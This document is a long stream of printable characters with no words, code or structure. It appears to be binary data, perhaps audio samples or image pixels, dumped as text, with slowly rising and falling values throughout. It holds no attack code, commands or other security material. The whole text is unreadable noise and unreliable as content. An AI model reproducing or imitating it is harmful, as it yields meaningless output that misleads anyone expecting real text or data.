#"##$"$#&#'%(&)'+(,),).).+/+-,----..0.1/202131415364747485869798:8:9<:=:=:><?=?=@>@>@?A?B@BABACBDBECECECGCGDHDGEIGIGIGKGJHKHKHKHLILJNJMJNKNLOMOMONONONPNRNRORPSQSRTRUQVRVRWRWRXSXSWTXSWTYUYUXUYUXVYVZW[W[X\X\X\X[W\W]W]X^Y^Y^Y_Z_Z_Z`[`[`[`[`[`\`\a\a\a]a]a]a]a]a]a]a]a\a\a\a\a]b]b]e_e_e_e_e_e_e_e_e_e_e_e_e_e_e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e`e_e`e_e_e_e_e_e_e_d_d^d^d^c^a]a]a]a]a]a]a^b^a^a]a]`]`]`\`[`[`\`\a\a\_Z]X]X]W]W]W]W\X\X\X\X\X[W[WZVZVZVZVZVZVYUXTXTXTXTXSWSVRWRVRVRVRUQUQTQTQSQSPRPQNQNONNMNLNLNLMKMJLJLIKIJHJHIGIGJGIFHFGFFEFEGEFDECDBDBDAC@B@B@A@A?@>?>?=?==:=9=9<9;9:8:8979796867574634241313/1/0.0./-/,-+-*,),(+(*(+()'(&(%&$&#$!% # ""         " "!##$$%$'&(')(*(*(+),*,+,+,+/,/-0.1/3/404061627264545465869798:9:9;9<;=;>;?<@=@>A>A?B@BADAEAEBFBFCGDHEHEIGJGKGKHKIMIMJMKMKNKPKOKPLOLPMPNPNRNQOSOSOTPUQURVRVSWTVTWUWUWVWVWVXVXVXVYWYXZYZY\Y]Y]Y^Y_Z_Z_[^[b]a^a^a^a^b^b_d`e_e_e`e`e`fafagbhbhbicicjdjejejejejejeidididididjejekflglglglglglglglglglglglglhnhnhnhnhoioioioioioioioioinhnhnhninhninhnhnhnhninhninhnhninhninhnhnhnhninhninhnhninioioioioioioinhnhnhnhmgmglgkgkgkgkgkgkglglhlhlhkgkgkgjeidididhchchcidjeidicichbhbfaeaeae`e`e`e_f`f`e_e_e_d^d^a\a\a\a\a\a\_\^Z]Y]Y\X\X\X[WZWYWYWXVXUWTVUVTVTVTVTUSURVSVSVSURTQSQSQROQNPNPMNLNLOLNKMKMJMJLILHJHKHIGIGHFHFGEGDFCFBEAEACAB@B@A?A>@>@=?<>;=;;:;9:9:79786867574535242424131301/0.0-.,/+-*-)+)+)+()&''&&&&%%$$###""!" ! !        !" #!#"%#&$&$'&(&(())*)+*,*-,-,0-1.2/30405162525373858596:6:7;8=8>:?:?;><><>=?>@?A?B@CACAEBFBGCGDGDIFIFIEJGKHKIKIMILJNJOKOLPMPMSNSOTPTPUQUQUQVRVRXSXSXSXTXTXTXTYUZU[W[W\X]X]Y]Y^Z^Z^Z_[`]`^a_a_b`b`c`dadaebfcfcfdhcicidjdjekekgkfkgkgkgkhlhmioipipipipipjpjpjqjrkskslsltmtmununuououovpwqwqxqxrxsxsxsxsyrxsysysxszszu{tzuzu{u|tyzzz{z{z{{z{z{||}|}||||}|}||}|}||||}|}||}{{z{zzzyyyyx~w~wzsysyszsyszsyszsysxryrxrxqwqwqwqwqvovovovovoununtmslslslqlqlqkqjqjpjpjpjpjoiohnhnhlgkfkfkekejeiehdhdhchcgbgbgaeae`e`d_c^a_a^a^a]a\`\_\^\^[^Z^Z]Y[X[W[WZVYUXTXTWTWTWTWSWSVRUQUQTQTPSOSOQNPMPMOLOLNLMKMJMJKIKIKIIGIGGFHEFCFCDBDBDBCAB@B?A>A=@>?=><>;=:=:<9;9;8989686758473626242412////....--,,+,*+)+()'(''&&%&$$##"#!"!" !            !"#$ $!%!&#'%(&)&)&*'+),*-*.+.,/-0.2/212132435354647495:6:6:6;7<9<:<;><><?>@>B>C@DAFAGBGCHDHDGEGFHFIGJHKILILJNJOKPLPMPMPMPMRMROSOSPSQURTRVSWSXTXUYUZUZVZV[W[W\X\X]Y^Z`[`[`[a\a]b^c_d_d_e`e`fbgcicicicjdjdkflililhmhmhlhlhliminjpjqkqkslsltmunvnwowpwqxrysysztzu{v}v~vwwxyz||}}~~~|{{zyxxwv~v~u}u}t{tysxrxrxrwqwpvornrnrmqlqlqkpkninimhlglfkflflhlgjejeidhcgcfcfbeaeaeae`d_d_a^a^a^a]a]`[_Z_Z^Z\Y\Y[W[V[VZVYUXTXTWSVTUSTSURSQSPRPROROPNPMOLOKNKMKMJLIKIKHJGJFIEHEFCFCEBDBDBDBCAAAA@@??>?==<<:<:;:;997979696756454544231302/0//./--+-*,*+)*()')&(&'$&#&"%"$!"!!     "" $ %"&#($)%*&+'-(-).*.+0+1-1-1-2/3040525263748586:8:9:9<:=;><><?<A=B>C>C?D?DADBDCFDGEGEJFJGJHLHMINJOKPKOLOMPMQNQNROSPTQTQURWSWSXTYUYUYUZV[W[X\X]Y]Y]Z^[_\`]a^b]d^d_e_e`e`fafahbicjdjdjekekflfmgmhnhnioiojpkqkrkrlsmsmupvrwrxszs{t{v}w~y~yzz{||}~~~~}|{x~w}v}v|u{tzryrxqwpuotnsmslqlqkpkojoinhnhnimhlglfkfkeidicichcfbfbe`d_d^d^b]a\a\`[^\^\^\][]Z[Y[XZWZVYUXTXTWSWSVRUQTQTPSORNRNQMPMPLOKNJMJLJKJJIIHIHHGGFHEFDECDBCBCAA@A>@>@=><><=:;:;9:9:89776756453423130302.1.0-/+.+/),)+(*')&)&'%(#%#$"$ " #!!       !! ! ""$#$$%$&&(&)'*(+)-*.+.+1-2.2/404152637384858597:8<8<9=:><><?=?>A?A@BACAECFDFDGDIEJFKFJGMGLILJLKNKNLOMRNRNROSPUPUQVRWSWTWUWUXVYW[W[X\Y]Y]Z_[`[a\a\b]c^c^d_d`fafagbgchdheifigkfngngohoioipjpjslslsltmtntnuoxqyrzs|u}wwyz{|~~}|{yww|v{uzsxqxpvovnsmsmslqlokojoinhnhngmfkekejdgdgdgdgbfbdad`c_c^c]b]a\a[`Z^Z]Z\Y\X[WZVZVYUXTWTWSVRTRSRSRRQQPPOPNOMOLMKMJLJKIJHJHJFIEHDGDFCEBCBC@A@@?@?>=>==<<;<9;9:8:896967573536241302/0.0./,.+-*+**()')&(%'%'$&###!!!             " $!$"$"%#&%)')'*(+)+*++,,.-0.1/2021415364748597:7;9=:=:>;?;@=@>A?B@C@C@EBFDGEHFHFHFIHIHKIMJMKNKOLQMQMQMQNSNSPSPRQTRUSVUXUYVYWZW[X\X]Z^Z][^\^\_^a_c_c`caeafagchdidjekflfngnhoipipjqkqmrnrnsntouoxpxpyr{s|u~vw{|}~|zxw{t{szrxpwnvmsmqmqlqlpkpjoinhnglfkekekdjdgbdad`b`c^b^b^b^b]a\_]_[]Z\Z\Y[YZXXWXVWUVTVRTQSPSPSPSPROQMPKPLOKMJLIKIKIIGHGHGFEDDDDBACACABAB@@>?=><>;=;<9;8:897877664635231101/1/0-/,.+-+*)()'''&&%%$$##""!" !              !! ! #!$"%#%$&&''*'+(-(-).*/,1.1.30515263757565779898:9<:=<>=A>A?B@CAEBFBFCGDHEHFIGJHLHLIMJNKNLOMOMONONRNRNSOTQTQWSXTYUZV[V\W]Y[Z[Z\Z^[_]a^a_c_dadbgbhcidieifififififjfjgkhnipkpkrmuovovpyqzr{s|t}vzz}~|y~w}u|tzqxpvovnumrkqjplokmjlilhlhjeidhdhehdhchcd`b^`^`^_]_\_\^[]Y\X\XZWZVYUZTYSXSWSWSVRUQPMOMOMNLLLKKKKKKLJKJJIIHHFHFGFGEEDCAB@A@??=>=<<<<;;:989897766554423221201/1//--,,++)*(*')&($'$%#$"#"#!"         !"$!$!&#&$'%(&((+),*-,--..//202041627373859797:8<9<:=;?<?>????AABABBECEDFEHGIGJHKHMJMKOLPMPMPMQNRPTQURVRVTVTWUWVZXZY\X\Y][_[_[_\a]c^c^c_d`eafcfcgdiejfkglhmininjpjpkpkqmrnsoupxrytzu{u|u}wyz|~|~w}v|u{tyswqwqxqwpunslrkpiojnjnjlilhkgkfjdicfbfbfae`c^c^b]a\_[]Y\XZX[X[WYWXVVUUTUTTSUSSRRQQPPNPMONOMMKKIKIJHIHFGFFDDDCCBBAA@A@@?>>=<=;<:;::8:8967574534242302/1.1-0,/,-+,*+))((&'%%#%"$!$"!         !" #!$!%#&$'%)&*&+(,).*.,0-1.1/20325264758797:8:8<:=:>;@=@?A>B@CADBDBGCFEFFHGIHKIKIMJNLOLPMQOSOTPUQURVSXTYUYUZV[W\X\Y^Z_[`\`]a]b_b_d_e`ebgbhckelgmhmhmiojojokokrltntovqxryszu|u~wxz|µ~|{x~w{v{uwsvqtosnsmrkqjojoinhlgnhmglgkfiehcgbead`b_`]^\]\][^\\Z\Z[YYWYVXUXUWTVSTQTPSOPOONNMNMMLLJJIJHJHHFGEFDEBDBCAC@B?A>?==<=;=:<9;8:6859474645242201/1.0-.+-*,),')&(%'$&#$"#!"!!    !" #!#"%$&$'%(&*(+)-+.,/,1-2.4041626384969797:9<:<;><>=?>@?A@CBDBECGDGFHFIHKILJLJNKNMOMQNROROSQVRWSXTYU[W[W\X]Y_Z`Za\b]b]c^e_f`fbfbgcgdhdiekfmgnhoipkrlsmslunvpwqwrzs|u~xy{|~¶¶¶¶·÷÷÷÷÷÷÷÷ĹĹƹźƺƺƺƹźƹźźƹƺŹƹǹǺǺȺȻȺȻȻȺǻȺȻȻȻȻȺǻȻȻȻȻǻȺȻȻȻȻȺǻȻȻȻȻǻȺȻȻȻȻȺǻȺȻȻȺǻȺǹǹǹǹǹƹƺźźƺźƺźŹĸøĸø÷¸øøø÷¶¶¶¶¶¶¶¶¶}{yw}w|uzsxpwpuountmrlqknimhlhkgkfhehdhcfbead`c`b^a]a\`[_Z]Y\X[WYVXUWSWSVSTRRPRORNQMPLOKMJLIKHKHJGIFGEFCECDBCAC@B>?=@<=<<;;:;9988685745352403.2.1-0,.+,))))(('&%%$$##! !         " #!$"%#&%(&)'*(+),*.,/-0-2.3/3152737384;6:8<9<:>;?<@=@>B@DADBFCGDGEHGIIKILJMKNLOMNMONQOSPTQUSVTWTYVZV[W\X^Y_Z_[b\c]c^d^e_f`gaibicidjdlemfnhniojpkpkrmtnwoxpyr{s}u~v|~¶´µµ¶¶·÷÷ĸĸĸĸźźźƺŻƻƻǻǻǻȼȼʼɼȻɻȼɼɽʽ˾ʾ˾ʾ˾ʾʾ˿ʿ˿οͿͿο̿̿˿˿̿˿̿˿˿˿ʿ˿ɾʾʾʿ˿ɾʾɽʽɽȼɼȼɼɼɼȼǼǼƻƻƺƺƺźŹĸĸŸķķķ÷÷·¶¶}{x~vxqwquptosnqlqkpkoimhlgkfjdidichag`e_d^c^b]a\_[_[^Z\Y[WZVZVYTYTWRUQUQSOROQNPMNLNKLJLJKIKHJGGFHDECDBCAB@A??>?=>;<9;9:7968473735241102/0/.--+,**)'(''&&&&$##!"!" !     ! "!$#%%'&('*(*)+*-*.,/,0.10305162638496:7:8<:>:?;A<C>C@D@EBGCGDHEHFJGLHLIMJNKOLONPOQPSPTRUSVTVUXVYWZXZX\Z][_[b\c]d^d_g_gahajcldlelfmgohpisjrkskulvmwmwnyq{s~vxy~µµµ¶÷ĸĸĹĹĸĹŹŹƺƻƻǻǺȺǻǻȻǼȽȽʾʾʿʿʾʿʿʿ˿˿˿ʾɽɽɽȽȽȼǼǼǻƺƺƺƺŹĹĸøĹøĸķö}{y|u{rypvotmtmskrkqjphogmglekeidgbgafae_c^c]c]b[`[_Y]X\XZWYWXVWTVSURTQSQQOQOONNLNLMJLIJHJGHFGEGDFCDAD@B?@>?<?<>:<9:8979685645241200/..----,+*)*)(('&&%%##!! !      ""##$$%&'')(+),*,+--/.20213253758696;8=9=9>;?<@=A>A?B@DCFCFDHEKGLHMIMJNKNLNLPNSOTQTQURUSVSWUXWYXZX[Y\[]\_\`^a_b`baecgcickdkelelfngoipjrktltmtmwnzp|suxy|~µ¶ööķĸŹŹƺƻǻǻǻȼɽɽɾɽȽɾɾʿͿʿʿɿɽɽɽɽɽȼȼȼȼȻȺǺƹƹƹƸŸķķķĶĶöµ|xv|tzqwovntmslpkoioinhlhlglfjdhbgaf`d_c_`^_]^[][\YZXZXYWYVWTVSUQUQTPRPQNPNOMNKMJMJLHIGHFGEFDFCDAB@A?@>@>?<=;;::8978685644332210//.--,++)*(('&&&$$#""!!       !# #!$"%#&$(&(())*++,-+.-0/304152738597:9<9<;=<?=A>B?C?EAEBFCGCHEIGJHMJLKNKPLQNRNSPUQURWTXUYVWTWUYW[Y\Z_[`]a^b_c`c`c`ebgdkflhliliminjokpjrkununwpzr{t|u~wy|÷ķĸķķĸŸŸƺƺǻǻǻȼȼȼʽ̿ʿʾʾʾʾʾʾʾʾʾɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɽɼɼƹƹƹƹƹƸƸƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹƹǻǻǻȼȼɽɽɽɽɽɽɽɽɽȼȼɽɽɽʾʾʾʾʾʾʾʾ˾̾̾̾ͿͿͿ̾̽˽˼˼˼ȻǼǻǻƺƺƺŹŹŸĸĸĸķöµµz~y|w{uxrvqvpunsnrlqkojninjlikgifhegdeaa^`^`\_\^\^[]ZZWYVXUYUWUXTVRTPSOQNRMPMPLNJLIJHIGHFHFGDFCDAB@B@B?A=?;=;9:997775645362311/0./-/,-*(*()'(&'%&$$$#" !      "$!%"&#'%)&+(+),*-+/,0-0.10212253547596;8<8=:>;@=A?C@DAEBFDHEIEJGLHMIMINJPLQMQNSOSQUQVRWTYUZV\W\X]Y^Z_[b^c`daeadaebfckflhmininiojplrlsoupwqxrzt|wy{~¶¶¶÷¸Ĺźƺƻƻǻȼȼɼɽʾʿʿ˾˾˾ʾʽɽʽʾɽɽȼȻȻǻȻȻǻǺƺƺƹŹŹĹŹĹĸĸĸĸ÷ķ÷÷ķ÷ķ÷¶¶¶ö¶ö¶µõµö¶µµµõµ¶¶¶ö¶¶¶¶ö¶µ¶¶ö÷ķ÷÷÷÷ķ÷ķķķŷŸƸƸƹƹŹǺƺǺǻȻǻǻǻȼȼȼȼɽɽɽɽɾʾɾ˾ʾ˾˿ʾʾʽʽɽɼɼȼȻǺǻźŹŸĸø·¶|z}wzuxsupsornrmplokninjmhlfidgcfbe`d`b_`^`\^\^Z\Y\WZVYUYUWTVQTQSQRPQOQNPMNKLIJHIFHFHEGCEBB@@A@?>>=<<:;:<898867564623100./..--,,+**))((&&$&#%"#!" !    !# %"&#'$)&+',)-*/,1.2/30315374858697:9;:<;=<?<@>B?C@DAFCHDIFJGLHMINKOLPLQMRNSOSPUQWSXTYU[W[X\X]Z_[a]b_d_eafagchdjekflgminiojqlrmtovpxqyr{u}vy|~÷øøøĺƺżǻȼȼȼƽȽȾʾʿʿʿʾʾʾɾɾɾɾɽɽȼȼȼǻǺƺƺƹƹƸƸƸŸŷŷķĶķööö¶õµµµµ´³´´µ´´µµµµö·ö÷ķķøŸŹŸŸŹƺƺƺƺƺȺȻɻȼȼȼɽɽʾʾɾɾ˿̿˿ʿʾɽɽǽǼƼǺǺǻȺƹŹø÷÷÷¶}z~x{vztwpuotntmrlskpjmgjeiehdhcgbfad`c^b]a]_[]Y[X[YZWXVWUVSURSQROQMNLNLMJLIJHIHHGFEECDBDAC?@??=><>;=:;8878676645341302/0-/,-*,)+(*&)%'#%"%!# "       !#!%"&#(#)%+',).*0+1-3.405163758697:8<:=;?=@>A?B@DADBEDFDHEJGKHLINJPLQMRNTPTQURWSVSWTXUZV[W\X]Z_[a]d_d`e`fahcieifkflhmiojpkrmsovowpxpyqztz|µö÷ĸĸĸƹƺƺȼȾȾǾȾȿȿʿ˿ʿʿʾɽɽɽɽɽȼȼǻǻƺźźĹĹùùøø÷÷¶¶¶µ¶ö¶ö÷øĸŸŹŹĹŹƺǺǻȻɼɽɾɾɿɿɿʿ˿˿ʾʾɽɽȽǼǻƺƺŹĸķ÷¶µ}zw}tzswptntmrlqkoinhlgjeidhcgbeadac_a^`^_\^[\Z[XZWXUVTVSURTQRPQPQOOMNKMJLIJGHFGDFCFCEBD@B?@=@=?<=:<9:896847351313/1.0+/*,)-(+&)%'$&"%!# #!!     "!""$"&$&%'&)'+)-*/+1,2.404050628495:6<8=:>=@>A?A@CAECGEGEIFJGKHLIMJMKOLQMRNROUQVRWTXUZW[X\Z^Z][_\`^a_c_daecgchejflhmhniqjrlrmsntovpxqyr{t~xz~µµ¶÷÷ŷƹƺǻǼɼɽʼɾ˾˿ʿɿɿɾȾȽȽǼǼǻƻƻźźźĹùĹøĸ÷¶ö¶µ´¶µö·ö÷÷ĸøĹĹźźƻǻǼȽȾȾȾʿ˾ʽʼɼȼȻǻƺƺŹŸŸķöõ}{y~vzsyqwqtoqlpknjnjmimhkgifidgceac`a^`\][]Z[ZZXYWXWWUVTURTQROQMOLOKMJMJLIKGIEHEGDFBEAD@A?A=@<?:=9;9;7857362414/2.0-/+.*-)+(+&)%($%#""!!       !!$"$"&%(&)(+),+/,/-0.204163748698:8;9>:?<@=A>B@CADDFEHFHFJHLJOLOMPNROSPTPURVSWTYUYUYW]Y^Z^\`]b_c`dafaecfdiejglhlimjolqmtovqxqzs|t|u}wy}´ôö÷ĸĸŹƺǺǻǻǻȼɽɽʿ̿̾˽ɽʼɼɼʻȺŹŸŸķķĶĶõõô³÷÷ĸĸŹźĹĺźƼƽǽȽȼʽʽ˽ʿ̿̿˾˾ȼȼǻƺƺƹŸķķöõµ´|~x{vzuxswqvotnsnrlqjnilhkfidhcebebd`a_`^^\]Z[YZWYWYVVTVSURTRSPROQMPLOKNJMILGIGGDFCEAE@B@A>?<=:;9:7:785735251402/1-/,/+,**)*((&'%$##!            " #!%#&%'&(')),*-+.,0-1/214263748698;9=;=<>=@?A?CAEBFDGEIFIGLJLKNLPMQNRPUQURVTWUXUYVZW\Y_\_]`\`]a^e`ebfchejfkgliniokrnsotpvpwrzs|u~wz}´öĶŶŷǹǹȻɽɾ˿˿ʿʾɾɽɽȼȼǻƺƺƺƹŸŸķĶöõµ´³¶¶¶öķĸŸŸƺƺƺǻǻȻɽ˾˾̿̿̿˾ʽʽʼȻȺƹƸŷĶõµ}{y~v|tyrwpunrlqkojnimhkgifgegdebc_a^b__^][]Z[YZWXUWSWSWSVRTPSNPMOLNILHJGIFGDECECCAB@A>>==<<:;:988685745241312/0-/,,*+)*'(%&$%#$!# !       " "!$#&$'%('+)-+.,0-1.2/4162738596;8<9=;><>=?>A@AACCEDGEHGKIKJLKMMPNQNRPTRUSWSWTXVZV[Y][_\`]a^c_e`eahdjflglgminjplqmqnsntoupxr|vy{}÷ŸƹƺǻǼȼɽɽʾ˾̿̿˿˾ɾʾɽǼȻƻǺŹŹŸĸķ÷÷¶¶¶¶ĶķķŸŸƹƹƹǺǺɺȼʼʽ˼̾̿ɽɽȼȼǻƻƺƺŹŹŷķĶ}zx|u{sxrvotnqmoknjmilhkghefcdbdad`c_b^`\_Z\XZWZVZVYVVSTQSOROOMPLMKLKJIIHIFFDDCCBBA@?>>?=<<;:;9:8:6757362301.0-/*,)+(*&(%&%%%$##"" !        ! #!#"$#&%(&*),+/,0-1/3042637385:7;8=9=;><@=B?D@DBFCFDGFIHIIKJMLNMONRPRQSRUSVTWUYV[X]Z^Z_[`]a_c`ebgcheiglhnjpjqlrmsmtnupvqxrzu|wy}··ø¸øĺĻƼƼǽɿ˿ʾʽʽɼȻǻƺƹƹĸķ÷÷¶´µõöķŸƺǺǻǻǻȼɽ˾˾˿˾ʾʾƼĻĺùø¸¸¶~z}xzuxsvquptnsnqmoknimhjgheidhcfac_a]_\^[\Z[XYVXUWTVRTRSQRPPNPMMLKJJIIHGFEEFDCCAAA@@?@=><=:<89695846241403.1-.,,++*)((''%%$$""         !""#!%#'&''*(+*++.-0/103153738597;9=9=:><A=C?DADBFDHEIFLGLINKMLNNQORQSQTRVTXVYW[X[Y]Z^\_\c^d_fagchdjflgnjokqlrmrmtoupyrzs|u~vy~µĶŷŸźƻƼȽǾɿɿ˿ʿʿȽȼǼƻŻƹĹĸķ÷ö¶¶ķŸŸƹǺȺǻǼƽǽȽʾʿʿȿȾǾǽǼƽƻĹø÷¶~|}w{uysxrwquornojnjnjmhjghefcebd_a^`\_\]Z\Y[YYWXVWTUSSQRPQOPMNLMKLJJHJGHFGDECEAC@A>@<>:<9;8;795846342211/0..-,+,))('&&%%$%"" !      "#!&#(%(&)'+(,*--..//1021437587:8<9=:>;@=A?B@CAECGDHFIHKIMJOKPMROSQTRUSVSXUZW[X\Y_[`\a^b_d`eagbgcjemgngohpisktntnwqys|u}vy|¶÷÷ĸŹƺȺɻʼ˽̾ɿɾɽɼȻǻƺŹĹķ··~~~~}~}~}}}|||||||||||||{zzzzzyyzzzzzzzzzzzzzzzzzzzzzzzzzzzzz{{{{|{{{{{{{{||||}}||||||}~~~´·øĹƺƺƺƻǼɼʾ˿˿˿˾ʾɽȻƺǹŹķöö|y{vytwrvqsoqmploknhkgieidgcfad`c_a^`\_[]Y[WZWYVWTUSURTPSOQNOLMJLILHJGHEGDECC@A?@>?=>;=9;99776655333200/.-,,++*)(&'%%#$"#!"     "$!%#&#(%)'*(-).+/,0.3/314354657698;9=;?>B?D@FAFBHDIFJHKIMJNKPMQOSOTPURWTXUYWZY\Z^[_\c^d_d`gbicidjfkflgmiojsltmvmwoxq|t~vw{·ĸŹƺƺȼɽɽʾͿ˿˿ʾʾɽɽȻǻǺƺƹŹŸ÷¶µ~~~}}}}}}}}}}}{{{{{{zyyyyyyxxxwwvvwwwwwww~v}u}u}u}u}u}u}u}u}u}u}u}t~u~u~t}s}s}s}s}s|t|t|t}s|t}t|t|t}t|t}s|t|t|t|t}s|t}t|t|t}t|t}s|t|t|t}s}s}s}s}s}t~t~t}t}t}t}t}t}t~tuuuuvvvvvvvvvwxxxxxyyyyzzz{{{{||||}}}}~÷÷ĸŹŹŹƺƻȻȽɽʽ̾ͿͿ̿˾ɽǼǻƺŹĸ÷~{}x{vxtuprnqmqknjmhlgkfidhcgaf`d^b]a\`Z]Y]X[WYVWTURTQSPROONNLNKLKJHIGHFGEECB@B?@==<<;;9:986755332211/0./,-+,)+)*((%%##!" !        ""%#&$)&+(,*-+0-2/2/51737486:7;9=:=<?=@>A?CAEBHDJFLGMHNJOKPMQORPTQVRWTXUZW\Y\[_\a^b`cadagbicjdlfmhniqkrltnuowpxq{t~uxy|õõĶķŹŹƺƺǼȼɾʾͿ̾˽˽ɼɺǹĸĸĸ÷öö~~}}|||{{{zzyyyyxxxxxxvvvu~vu~u~t~t}t~t|s}s|s|s|s|s|r|r|r|r{q{q{q{qzpzpzpxqzoxpyoyoxpynwoxnxnxnxnwnwnwnwnwnwnwnwnvmvmvlukukukuktktksktksltktktktksltksktktksktksltktktktksluksltltlukvlvlvlvmwmwmwmwmwmwmwmwmwmwnynynyozozozozozozozozozozo{q|r|r|r|r|r|r|r|s|s|s}t}t}t}t}t~t~tuu~vu~vuvwwwxyxyzyyz{{{||}}}~~~~¶ö÷ķŷŷƹɺʻ˼˽˾̿˿ʾɽȽǻǻƺŹŹķ÷}zy}wzvzsvqtosmqkpjnimhlgkeicfbg`d_b^`\_[\Y[YZWYUWTVRUQQOQNPMOKLJKIJHIFGDECDACA@??==;<:;9978654433120//-,-++))''%&$$"$!!     !#!%#&$'&('*)-*/,1.3031527385:7;7<9>:?<A=B>FBHCJDKELGMINJRLRMRNSOSPVRWTXVYWZW[X][_]a^c`dafcgdhfkhlhnhpjqltmvowpyq{s~wy{}·ĸƹǺǻȼɽɽʾʾʾɽɽȼȻƺĹĹĸ÷¶¶~~}}|{{{{zyyyyxwwwvvuu~u}u}u}t|t|s{s{s{r{r{r{q{r{q{qypypyoyowoxnwnxnxnwnxnvmwmvmululuktksjsjtjtktktktjtjtjsjrisirisisiririqhrhqhqhqhpgpgpgpgpgpgpgpgpgpgpgpgofofnememememememememememememememememememememememenemenfnfofpgpgpgpgpgpgpgpgpgpgpgpgpgpgrhrhrhsirisirirhrhsisisisisjtjtjtktktktktktkulululvlvmvmvmxmwnxnxnxoynxpyoypypzp{p{q{r{r|r|s|s|s|t}u}u}u}u~wwvvwwwyyzz{{{{||||}}~~µ¶ö÷ĸĹźƺǻȼɽʾ˿Ϳ˿ʾʾɼȻȺǺƸŷŶõz}w{txrvpunrmqlokmjmhkfiegdfae`c_b^a]_[\YZWZUYUXTVRTPTPQOPMOLNKMIKGIEGDFBEAE?B>?=<;:998976554411//-.,.++)+((&&$%##"!      "#!%"&#'%*',)-+.,0.2/416375:6:7<8=9>;B>B>D@FBGCHDIENHOJPKRLSNTPUQWRXTYVZW[X^Z_[`[a]c`c`fagchejglhmjmkolqntpxryrzt|ux{øĸĸŹƻȼɽʾ̿˿˾ɽȼȼǻƺŹĸø÷¶µ~~~}}|{{{{zyyywwvvuu~t~t~t}t|t|t|s|s{r{rzqzpzozoynynxnxowovnvnumumumumultktksjsjsjsjrjririqiqhphqhqgpgqgofpfnfnfnfmfnemememelemeleldldldlckclckclclckclbjbkbjbjbjaiai`i`i`i`i`i`i`i`i`h`h`h`h_g_h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h_h_i`i`i`i`i`i`i`i`i`i`i`i`i`i`jbkbkbkbjbkbjbkckckcmdkdmdmdmdmenenenenfnfnfofogogogpgogogqhphqhriqiriqirirjsjsjtjtktkulululvnvnvnvowowpwpxqxpzpzpzpzq{q{r{r|s|t}u}u}u}u~vvvvwwwxxyyzz{}}~~~·øĸƺƺǻǼȽɾɾͿ̾˽˼ʻɺƺŹø·¶}y|vyswrvquosmqlojmilgjfjehcfafac`b\_Z^Y^Y\WZVWUWSURTPSORMQLNJLILHKFIEFDCAA?@>?==<;::886745241301./,-,+**)(''%%$#!!        ! #!%#&%(&*(+(,*/,1.2041637496:8<9>;A<@>B>C?EAIDJFKGNHOJPKQLSNTOTPVRXSYU[W\W_Y`\b]c^e`fagbhdkglhnjplqmrotqurvrvsxu}y|µµ¶·øùźƻǼɽɾʿ˿ɾȼȻǻŸŸķöõ´~~~}|||{zyyxwxvvv~u|u}t}u}t|s{s{rzr{qzqyoyoxoynxmxmwmvnvmtlulultkuktktitjtisisiqhohpgogofofnfpgogofnemdndmdldlekdldjdlcjcjcjbjbkbiai`h`g`g_f`g_f`g_f_e_f^e_f^e^e]e]d]e\d]e]e]d]d\c\d[d\d\d[bZbZbZbZbZbZbYbZd[c[cZcZbZbYbYbZbZbZbYbZbYbZbZbYbZbYbZbZbZbZbYbZbYbZbZbYbZbYbZbZbYbYcZc[cZc[c[cZc[bYbZbZbZbZbYbZc[d\d\d[c\d[d\e]e]d]e]e^f]f^f_g^f_h_g_h`h`h`h_h`i`iaiajaibkbjckckckdlckdldlelemenenenfofogogpgogpgphpiqipiririsjtjtjuktlukulumvmunvnvnwoxoxoynyp{p{p{q|r}r~r~t~tuuvwwxxxyyz{|||}~~µ¶öĸĹŹƺƻȼȼʽʾ˿˿ʾɾȼǻƺŹĸĸ·¶}x|uysxruqtornqlokmilhjfidgcfae_b]a\_Z]Y[WZVYTVRVRTPROPMOKNJLIJGHFGDECDBB?@>?=>;=9<8:78564422100/.-,,+*(''&%$$$"#!!      ! #"$$&%'')(+),,/-0.2031637587:8<:<;=<@>CAECHDHEJGLHNJPKQMQMTOUQVRWRYUYUZV\Y^Z_[b^c_gahcjekelfnhrksltntouqyrytzv~y{¶¶÷ŸƹǻȼȼȽȽɿʾ̿˿˿ʾʽɽɼǹŹŸķöµ~}||{|zzyyywwwwvu~u~u}s}s}r{r|qzqzpypypxowoxnvnvmvmtmuksktksjsitisishrhrhqgogpgneoenenenclcmblbmblakajaiajaiah_i_h_i_g_g^g]f]g]f]e^d]d]d]c\d[c\d\c[c[d[bZbZaY`YaY`YaY`Y`Y`Y`YaY_Y`X_X_X_W^V_V^V^V^V^V_U]V^U^V^U^U\U^T]T]T]T]T^S]U^T]T]T]S\T]R[S\S\S\S]S\S]S\S\S]S\S]S\S\S\S\S]S\S]S\S\S\R[S\R\S\S\S\T^T]U^T]T]T^T]U^S]T]T]T]T^S]U^U^V^V^U]V_U^V^V^V^V`V_W`WaXaYbXaYbYbZcZbYbYbYbZcZcZcZcZb[d[c[c[d\d\e\d]d]e^e^e^f^f^g^h_h_h_i`h`jaiajbkbjbkblclcmblcndmendneogpgohqhpiqhririthsjujukukvkvlxlwmxmynxnxoypyqzq{q|r|r|r}s}t~tuuvwwxxyzz{{||}}~ķĸŸƹƺǻȼʾ˿˿˿ʾʾȽǼǼƻƹĸöµ|y}wzuwrtprnqmqlplnjlhieicgaf`e_c^a\^Z]YZWXUWSVRTQSORNQMOLOKMIKHIFGDEBD@D?@>?==::887566433101/..--*+*))('&%$#"!     ! #!$$&%('*),+-,..0/3153748697;8<;=<@>B?CACADCFEJHMJNKOMQNSOTQVRWTYU[W\X]Y^Z`\`\a^c_eahcidlgnipjrksmunvoyqzs|u~xz}¶÷ĸŹŹǻȼɽɽʾ˿˿˾ʽʽɼȻǺŹƸķööµ~~~~|{|zzzyxwwwv~u~t}t}r|r|r{qzqzpypypyoxnwnwmvlvltkuksktjririripiqhphogofnfoemdndmclbmblblakakajah`h`f_g_f^f^f]e]e]d\d\d[d[cZbZcZbYbYbYaYaXaXaXaX`WaW`W_V]V]V\U\U\U\U\U\U\U\U[T[T[SYRZRYRZRYRYRYRYRZRYRYRXQXQXPWOXNWOWOWOWOXNWOXOWOWOWNVNVMUMUMUMUMVMUNVNUMUMUMUMULTLTLTLTLTKTLTLTLTLTLTLTKTLTLTLTLTKTLTLTLTLTKSKTKTLTLULUMUMUMUMUMUMUMUMVMUMUMUMUMVMUNVOWOWOXOWOXOWOWOWOWOXOXPYPZQZRZRZRZR[S[S[SZRZR[S[S[S[T[T[T[T\U\U\U\U\U]V]V]V]V